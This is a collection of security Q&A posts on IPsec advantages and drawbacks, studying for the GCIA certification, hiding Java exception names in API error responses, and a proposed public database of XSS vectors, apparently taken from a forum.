Transparent to applications and users (in most scenarios). To emphasize, this is not a trivial point - I have had many times when my recommendations to clients would be to encrypt the channel, e.g. with SSL - however they dont have access to source code, or SSL is not supported by vendor, etc - and IPsec is basically drop-in encryption (as far as the app is concerned) and totally out of view of the app.
Very secure, if implemented correctly
Less prone to user mistakes (as SSL)
More efficient than SSL, if you're encrypting most of the traffic anyway

Disadvantages:

Can be complex to deploy, depending on your network and requirements
Cannot be used over Internet or with unknown clients (okay not strictly accurate, but still holds for most intents and purposes).
Can provide false sense of security to network admins, if deployed incorrectly (e.g. without ESP, but hey I've got IPsec, right?).
Much less efficient than e.g. SSL, if you don't need to encrypt all the traffic (but IPsec will do so anyway).


Books to study for GCIA (GIAC Certified Intrusion Analyst) What set of books would you recommend to study for the GCIA certification without buying official study material?

Also, please tell whether your suggestions are based on having completed GCIA certification yourself, or if they are based on other experience such as work as an analyst or knowledge of the GCIA requirements.

I am new to IT Security, but I have done some network courses (OSI model, Ethernet spec, TCP-IP stack basics, etc.), and am a C# programmer.

I believe GIAC offers a way to only take the exam instead of buying thousands of dollars worth of study material, hence my interest in your suggestions.

GCIA webpage: http://www.giac.org/certification/certified-intrusion-analyst-gcia

Speaking as a certified GCIA, the exams will be an order of magnitude easier with the courseware ("official study material") than with related books.  I've also certified GCFA, a couple other expired certs, and worked with the exam writing teams some number of years ago.  They are constrained to make sure that exam questions are directly supported by the courseware (for the obvious reason), so there's a distinct advantage to using courseware - if it's in the exam, you know it has to be in the courseware somewhere.

They used to sell it for something like $500; I understand they've stopped selling it online.  If you can physically get to a conference, or make an arrangement with someone, they do sell the courseware in the bookstore during the conference.  I don't think you need a conference pass to get into the conference bookstore, but I could be wrong.

You are correct that GIAC offers a Challenge exam.  You get practice exams with it, so if you wanted to prep with other books, that would give you an indication as to whether they were enough before you actually take the pass/fail test.

My advice: if you're looking at buying a $200 pile of books versus the $500 courseware, I'd consider the additional $300 well spent, given that the Challenge exam is $900 on the line.


API Returning Java Exception. Safe? I just wanted to ask if my concerns here are valid.
I am aware that it is unsafe for the API to return a stack trace. I have a similar, but less egregious, situation that I am trying to judge.
Is there also some standard regarding packaging up java exceptions into a 500 response? For example, sending back such things as "DataIntegrityViolationException," "NullPointerException," etc., but without the stack trace.
Worded another way, when an unhandled exception occurs, the exception name is sent back in the 500 response. There is no stack trace, but we can infer on the client-side if, for example, the request attempted to alter the DB in an invalid way.
I am currently warning my team against this and telling them that they should "whitelist" their server responses (i.e. only send content if you have a conscious reason for doing so). I just wanted to know if I am wasting their time with this.
Is this a good idea?
Or should it be more generic than this?

The standard in error handling to the client is to expose nothing about the inner workings and only provide what will be useful for the user to be successful.
Java error message contents do nothing to help the user. What you end up doing is exposing your code logic, which can be used against you by a malicious user.
OWASP's examples are simply to state that there is an error. And that's the standard. Any info beyond this needs to have a justification.


Is there a database with XSS vectors, possible reference and test information? I recently had the idea to develop a public database in which unique cross-site scripting (XSS) vectors will be registered and get a reference assigned similar to the CVE system.

I made a local PoC already and registered a suitable domain to use for this purpose. I was thinking about assigning stuff like: Does this vector require other dependencies to work? For example an ID in the URL like #xss triggering an element with the HTML ID xss. Or the need to have a specific setting enabled or disabled in order for it to work. And, is this vector a known bypass of the browsers X-XSS-Protection.

But most important, I see lot of hackers testing the same XSS over and over again to check in which browsers it works and to report properly about it.

Indexed vectors allowing researchers to perform advance searches.

For example:

Give me an XSS-vector with a max string length of 15
Only using a-z0-9.=
Working in the newest version of Chrome and Firefox
Without dependencies

I would like to give users the ability to add XSS vectors and to submit test information. Also I was thinking about some kind of de-duplication technique in order to prevent duplicate XSS vectors that are obviously the same type but using another string.

The nice part is that it will be an open documentation for XSS vectors. Including the credits the the original finder/fuzzer (if known). Also people can start to use references like XSS-2016-16321 in there reports similar to CVE's.

Now I have two questions before I put serious effort in this concept.

Is there already a similar open website, service or database doing so?
What does the IT security community (you) think about such database?

Ultimately the full list of XSS vectors should be downloadable in various formats in order for security scanners to add it to vulnerability scanners.

Not that I'm aware of but OWASP wiki provides quite a lot of examples on the subject. Perhaps you can use this as input for your database, and identify the technical requirements for each of them to be usable.
That's definitely a good idea. Keep us posted :)